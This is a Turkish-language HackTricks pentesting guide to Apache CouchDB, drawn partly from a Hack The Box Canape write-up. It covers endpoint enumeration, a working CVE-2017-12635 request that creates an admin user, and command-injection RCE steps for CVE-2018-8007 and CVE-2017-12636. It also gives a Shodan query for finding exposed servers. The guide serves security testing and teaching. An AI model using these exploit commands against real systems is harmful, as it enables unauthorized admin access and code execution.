5984,6984 - Pentesting CouchDB
Reading time: 12 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
CouchDB, verileri her belge içinde bir anahtar-değer haritası yapısı kullanarak organize eden çok yönlü ve güçlü bir belge odaklı veritabanıdır. Belge içindeki alanlar, veri depolama ve alma esnekliği sağlayarak anahtar/değer çiftleri, listeler veya haritalar olarak temsil edilebilir.
CouchDB'de saklanan her belge, belge düzeyinde bir benzersiz tanımlayıcı (_id
) ile atanır. Ayrıca, veritabanına yapılan ve kaydedilen her değişiklik, bir revizyon numarası (_rev
) ile atanır. Bu revizyon numarası, değişikliklerin verimli bir şekilde izlenmesi ve yönetilmesini sağlar, veritabanı içindeki verilerin kolayca alınmasını ve senkronizasyonunu kolaylaştırır.
Varsayılan port: 5984(http), 6984(https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Otomatik Sayım
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Manuel Sayım
Afiş
curl http://IP:5984/
Bu, kurulu CouchDB örneğine bir GET isteği gönderir. Yanıt aşağıdakilerden birine benzer görünmelidir:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
note
CouchDB'nin köküne erişmeye çalıştığınızda 401 Unauthorized
gibi bir yanıt alırsanız: {"error":"unauthorized","reason":"Authentication required."}
banner'a veya başka bir uç noktaya erişemezsiniz.
Bilgi Sayımı
Aşağıdaki uç noktalar, GET isteği ile erişebileceğiniz ve bazı ilginç bilgileri çıkarabileceğiniz yerlerdir. Daha fazla uç nokta ve daha ayrıntılı açıklamaları couchdb belgelerinde bulabilirsiniz.
/_active_tasks
Çalışan görevlerin listesi, görev türü, adı, durumu ve işlem kimliği dahil./_all_dbs
CouchDB örneğindeki tüm veritabanlarının listesini döndürür./_cluster_setup
Küme kurulum sihirbazına göre düğüm veya kümenin durumunu döndürür./_db_updates
CouchDB örneğindeki tüm veritabanı olaylarının listesini döndürür. Bu uç noktayı kullanmak için_global_changes
veritabanının varlığı gereklidir./_membership
Kümenin bir parçası olan düğümlericluster_nodes
olarak görüntüler.all_nodes
alanı, bu düğümün bildiği tüm düğümleri, kümenin bir parçası olanlar da dahil olmak üzere gösterir./_scheduler/jobs
Çoğaltma işlerinin listesi. Her iş tanımı, kaynak ve hedef bilgilerini, çoğaltma kimliğini, son olayların geçmişini ve birkaç diğer şeyi içerecektir./_scheduler/docs
Çoğaltma belge durumlarının listesi.tamamlandı
vebaşarısız
durumlar dahil olmak üzere tüm belgeler hakkında bilgi içerir. Her belge için belge kimliğini, veritabanını, çoğaltma kimliğini, kaynak ve hedefi ve diğer bilgileri döndürür./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
/_node/{node-name}
uç noktası, isteği işleyen sunucunun Erlang düğüm adını doğrulamak için kullanılabilir. Bu,/_node/_local
erişirken bu bilgiyi almak için en faydalıdır./_node/{node-name}/_stats
_stats
kaynağı, çalışan sunucu için istatistikleri içeren bir JSON nesnesi döndürür._local
kelimesi, yerel düğüm adı için bir takma ad olarak hizmet eder, bu nedenle tüm istatistik URL'lerinde{node-name}
_local
ile değiştirilebilir, yerel düğümün istatistikleriyle etkileşimde bulunmak için./_node/{node-name}/_system
_system kaynağı, çalışan sunucu için çeşitli sistem düzeyindeki istatistikleri içeren bir JSON nesnesi döndürür. Mevcut düğüm bilgilerini almak için{node-name}
olarak'_local'
kullanabilirsiniz./_node/{node-name}/_restart
/_up
Sunucunun çalıştığını, çalıştığını ve isteklere yanıt vermeye hazır olduğunu doğrular. Eğermaintenance_mode
true
veyanolb
ise, uç nokta 404 yanıtı döndürecektir./_uuids
CouchDB örneğinden bir veya daha fazla Evrensel Benzersiz Tanımlayıcı (UUID) talep eder./_reshard
Tamamlanan, başarısız, çalışan, durdurulan ve toplam işlerin sayısını ve kümedeki yeniden parçalama durumunu döndürür.
Daha ilginç bilgiler burada açıklandığı gibi çıkarılabilir: https://lzone.de/cheat-sheet/CouchDB
Veritabanı Listesi
curl -X GET http://IP:5984/_all_dbs
Eğer bu istek 401 yetkisiz ile yanıt verirse, veritabanına erişmek için geçerli kimlik bilgilerine ihtiyacınız var:
curl -X GET http://user:password@IP:5984/_all_dbs
Geçerli Kimlik Bilgilerini bulmak için şunu deneyebilirsiniz: hizmeti brute force yapmak.
Bu, yeterli ayrıcalıklara sahip olduğunuzda veritabanlarını listelemek için bir couchdb yanıtı örneğidir (Sadece bir veritabanı listesi):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Database Info
Veritabanı adını erişerek bazı veritabanı bilgilerini (dosya sayısı ve boyutları gibi) alabilirsiniz:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Belge Listesi
Veritabanındaki her bir girişi listele
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Belgeyi Oku
Bir veritabanındaki bir belgenin içeriğini oku:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
CouchDB Yetki Yükseltme CVE-2017-12635
Erlang ve JavaScript JSON ayrıştırıcıları arasındaki farklar sayesinde aşağıdaki isteği kullanarak bir yönetici kullanıcısı oluşturabilirsiniz:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Bu güvenlik açığı hakkında daha fazla bilgi burada.
CouchDB RCE
Erlang Cookie Güvenlik Genel Görünümü
Örnek buradan.
CouchDB belgelerinde, özellikle küme kurulumu ile ilgili bölümde (link), CouchDB'nin küme modunda kullandığı portlar tartışılmaktadır. Tekil modda olduğu gibi, port 5984
'ün kullanıldığı belirtilmektedir. Ayrıca, port 5986
düğüm yerel API'leri içindir ve önemli olarak, Erlang'ın Erlang Port Mapper Daemon (EPMD) için TCP port 4369
'a ihtiyaç duyduğu, bu sayede bir Erlang kümesi içinde düğüm iletişimini kolaylaştırdığı vurgulanmaktadır. Bu yapı, her düğümün diğer tüm düğümlerle bağlantılı olduğu bir ağ oluşturur.
Port 4369
ile ilgili önemli bir güvenlik uyarısı vurgulanmaktadır. Eğer bu port İnternet veya herhangi bir güvenilmeyen ağ üzerinden erişilebilir hale getirilirse, sistemin güvenliği "cookie" olarak bilinen benzersiz bir tanıtıcıya büyük ölçüde bağlıdır. Bu cookie bir koruma işlevi görür. Örneğin, belirli bir işlem listesinde "monster" adlı cookie gözlemlenebilir, bu da sistemin güvenlik çerçevesindeki operasyonel rolünü gösterir.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Bu "çerez"in Erlang sistemleri bağlamında Uzaktan Kod Çalıştırma (RCE) için nasıl istismar edilebileceğini anlamakla ilgilenenler için, daha fazla okuma için özel bir bölüm mevcuttur. Bu bölüm, sistemler üzerinde kontrol sağlamak için Erlang çerezlerinin yetkisiz bir şekilde nasıl kullanılacağına dair metodolojileri detaylandırmaktadır. Erlang çerezlerini RCE için istismar etme üzerine detaylı kılavuzu buradan keşfedebilirsiniz.
local.ini'nin Değiştirilmesi ile CVE-2018-8007'nin İstismarı
Örnek buradan.
Apache CouchDB'yi etkileyen ve yakın zamanda açıklanan CVE-2018-8007 zafiyeti incelendi ve istismar için local.ini
dosyasına yazma izinlerinin gerektiği ortaya çıktı. Güvenlik kısıtlamaları nedeniyle başlangıç hedef sistemine doğrudan uygulanamasa da, keşif amaçları için local.ini
dosyasına yazma erişimi sağlamak üzere değişiklikler yapıldı. Aşağıda, süreci gösteren detaylı adımlar ve kod örnekleri sağlanmaktadır.
Öncelikle, local.ini
dosyasının yazılabilir olduğundan emin olarak ortam hazırlanır; izinler listelenerek doğrulanır:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Zafiyeti istismar etmek için, local.ini
dosyasındaki cors/origins
yapılandırmasını hedef alan bir curl komutu çalıştırılır. Bu, [os_daemons]
bölümünde rastgele kod çalıştırmayı amaçlayan yeni bir köken ve ek komutlar enjekte eder:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
Sonraki doğrulama, local.ini
içindeki enjekte edilmiş yapılandırmayı gösterir ve değişiklikleri vurgulamak için bir yedekle karşılaştırır:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Başlangıçta, beklenen dosya (/tmp/0xdf
) mevcut değildir, bu da enjekte edilen komutun henüz çalıştırılmadığını gösterir. Daha fazla araştırma, CouchDB ile ilgili süreçlerin çalıştığını ve enjekte edilen komutu potansiyel olarak çalıştırabilecek birinin bulunduğunu ortaya koyar:
root@canape:/home/homer/bin# ps aux | grep couch
Belirlenen CouchDB sürecini sonlandırarak ve sistemin otomatik olarak yeniden başlatmasına izin vererek, enjekte edilen komutun yürütülmesi tetiklenir; bu, daha önce eksik olan dosyanın varlığıyla doğrulanır:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
Bu keşif, belirli koşullar altında CVE-2018-8007 istismarının uygulanabilirliğini doğrulamaktadır; özellikle local.ini
dosyasına yazılabilir erişim gerekliliği. Sağlanan kod örnekleri ve prosedürel adımlar, istismarı kontrollü bir ortamda tekrarlamak için net bir rehber sunmaktadır.
CVE-2018-8007 hakkında daha fazla bilgi için mdsec'in tavsiyesine bakın: CVE-2018-8007.
local.ini Üzerinde Yazma İzinleri ile CVE-2017-12636'yı Keşfetme
Örnek buradan.
CouchDB süreci aracılığıyla kod yürütülmesine olanak tanıyan CVE-2017-12636 olarak bilinen bir zafiyet incelendi; ancak belirli yapılandırmalar istismarını engelleyebilir. Çevrimiçi olarak mevcut olan birçok Kanıtı Konsept (POC) referansına rağmen, zafiyeti CouchDB sürüm 2'de istismar etmek için ayarlamalar gereklidir; bu, genellikle hedef alınan sürüm 1.x'ten farklıdır. İlk adımlar, CouchDB sürümünü doğrulamayı ve beklenen sorgu sunucuları yolunun yokluğunu onaylamayı içerir:
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
CouchDB sürüm 2.0'ı desteklemek için yeni bir yol kullanılmaktadır:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
Yeni bir sorgu sunucusu ekleme ve çağırma girişimleri, aşağıdaki çıktıda gösterildiği gibi izinle ilgili hatalarla karşılandı:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Daha fazla araştırma, yazılabilir olmayan local.ini
dosyasıyla ilgili izin sorunlarını ortaya çıkardı. Dosya izinlerini root veya homer erişimi ile değiştirerek devam etmek mümkün hale geldi:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
Sonraki sorgu sunucusu ekleme girişimleri başarılı oldu; bu, yanıttaki hata mesajlarının yokluğuyla gösterilmektedir. local.ini
dosyasındaki başarılı değişiklik, dosya karşılaştırmasıyla doğrulandı:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Süreç, bir veritabanı ve bir belge oluşturulmasıyla devam etti, ardından yeni eklenen sorgu sunucusuna özel bir görünüm eşlemesi aracılığıyla kod çalıştırma girişimi yapıldı:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
Bir özet alternatif bir yük ile belirli koşullar altında CVE-2017-12636'nın istismarına dair daha fazla bilgi sunmaktadır. Bu güvenlik açığını istismar etmek için yararlı kaynaklar şunlardır:
Shodan
port:5984 couchdb
Referanslar
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.